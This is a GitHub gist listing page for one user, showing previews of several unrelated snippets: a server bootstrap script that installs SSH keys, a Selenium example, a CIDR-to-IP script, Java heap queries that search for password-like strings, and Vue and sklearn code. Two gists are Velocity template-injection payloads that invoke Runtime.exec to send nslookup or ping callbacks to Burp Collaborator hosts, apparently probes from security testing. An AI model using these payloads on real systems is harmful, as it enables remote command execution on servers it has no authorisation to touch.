Skip to content

Instantly share code, notes, and snippets.

Avatar
🎯
Focusing

Damian Strobel Damian89

🎯
Focusing
View GitHub Profile
View gist:a95c0603f45f5501290c555ab33fbc74
#!/bin/bash
apt update && DEBIAN_FRONTEND=noninteractive apt dist-upgrade -yq && apt-get autoremove -y
mkdir ~/.ssh/
touch ~/.ssh/authorized_keys
touch ~/.ssh/id_rsa.pub
echo -e "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBzjSAWgouAJtqTyzVO4eRAn9AkoRWk0HnlZZzpEDEkGRJGiCyo7/U3+CVZuL+5PoG8lSP1d1h4SDx0Z2ciSPSwJ/96wmBinwfLX21OMvWabKzNGK3quJ+Z7u8m+s8BgCaOaQbFaYwblqvnsxtd0ZPGoqrzDZzOWtTpVDHA1rUiFG80rf5JYeO5nivW9jVQfKvqHqA4P9or6tWPaZiWHZ4akWusDa8uH6zk+jcFcAKPIzDirE56iikn6gwbR1T/9b2U1g7X5+qmzSPVqcRBmPeYcz1CkO63aUxCmN8lJvLhXv40jnaT6TlNZQx060rOFsFQ8a8JiecPbdDyj7E/W93 damian" > ~/.ssh/authorized_keys
echo -e "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDc8uZb8Zqw9k9BUA4HdwKKU/O/toF9IFIjzlIySf3ERAP1wCW2wDPT5vPgfgHzR5iIztzV0ZgJvs+3gukZWLGnxmFLrSPIzlflI0XJZYIrDO+JyoYFrpQ13H1xstP43P34BdRRKF9rz9777clAH/C7zJfRlO0wyP70Eu0OQdgp3RQxTXVFdDCStal07E8x3lxE7CL518NpHoHPVcRNTTSqcDL4izDOvGNbzJ4seHV4NEKYa18rOtdxIRLDJ+WMhF/4BuKpBEYYAIvkvNMIVL7CKhqwvODCMaB/aQFCI40rlivKgEZzFltNqHvcKFAPj+9FjtrGoI9iPi9KhClH6X6H vserver" > ~/.ssh/id_rsa.pub
View FailCommand.php
<?php
namespace App\Console\Commands\Misc;
use App\Models\Target;
use Illuminate\Console\Command;
class DoSomething extends Command
{
View asd.js
const {Builder, By, until} = require('selenium-webdriver');
new Builder()
.forBrowser('firefox')
.build()
.then(driver => {
return driver.get('http://www.google.com/ncr')
.then(_ => driver.findElement(By.name('q')).sendKeys('webdriver'))
.then(_ => driver.findElement(By.name('btnK')).click())
.then(_ => driver.wait(until.titleIs('webdriver - Google Search'), 1000))
.then(_ => driver.quit());
View cidr-to-iplist.py
#!/usr/bin/env python
from netaddr import IPNetwork
import sys
from random import shuffle
if len(sys.argv) != 3:
sys.exit("Input and output file is needed")
file_with_cidr_data = sys.argv[1]
View jhat base searches
select {o: s,val:s.value.toString()} from java.lang.String s
where
/^[0-9A-Za-z!\\\/\"\?/+=;\&\(\)\[\]\.:-_@\'\#\*]{5,15}$/.test(s.value.toString())
select {o: s,val:s.value.toString()} from java.lang.String s
where
/^[0-9A-Za-z!\\\/\"\?/+=;\&\(\)\[\]\.:-_@\'\#\*]{19,31}$/.test(s.value.toString())
select {o: s,val:s.value.toString()} from java.lang.String s
where
View gist:c50be18e315c89fe45c0c1a72cade91e
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("nslookup d3hsdhigq84cwt9q1dulfgvylprff4.burpcollaborator.net")
View gist:c171b9b040cfc77cbd5fb7fd0510e502
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("ping 7hpnnj0v6uf2ks8swrbnymr5xw3ord.burpcollaborator.net")
@Damian89
Damian89 / app.js
Created Nov 27, 2017
Sortable table with VueJS
View app.js
/*
* Author: Damian Schwyrz <mail@damianschwyrz.de>
* URL: https://www.damianschwyrz.de
* Copyright (c) 2017.
*/
/**
* Main table component
*/
Vue.component('table-keywords', {
View gist:cfecbd2ce97f049cf9e20402774599cf
<!doctype html>
<!--
~ Author: Damian Schwyrz <mail@damianschwyrz.de>
~ URL: https://www.damianschwyrz.de
~ Copyright (c) 2017.
-->
<html lang="">
<head>
<meta charset="utf-8">
View sklearn-one-method-git.py
preprocessor = pipeline.Pipeline(
[
('ss', preprocessing.StandardScaler()),
('ex', preprocessing.PolynomialFeatures(degree=3)),
]
)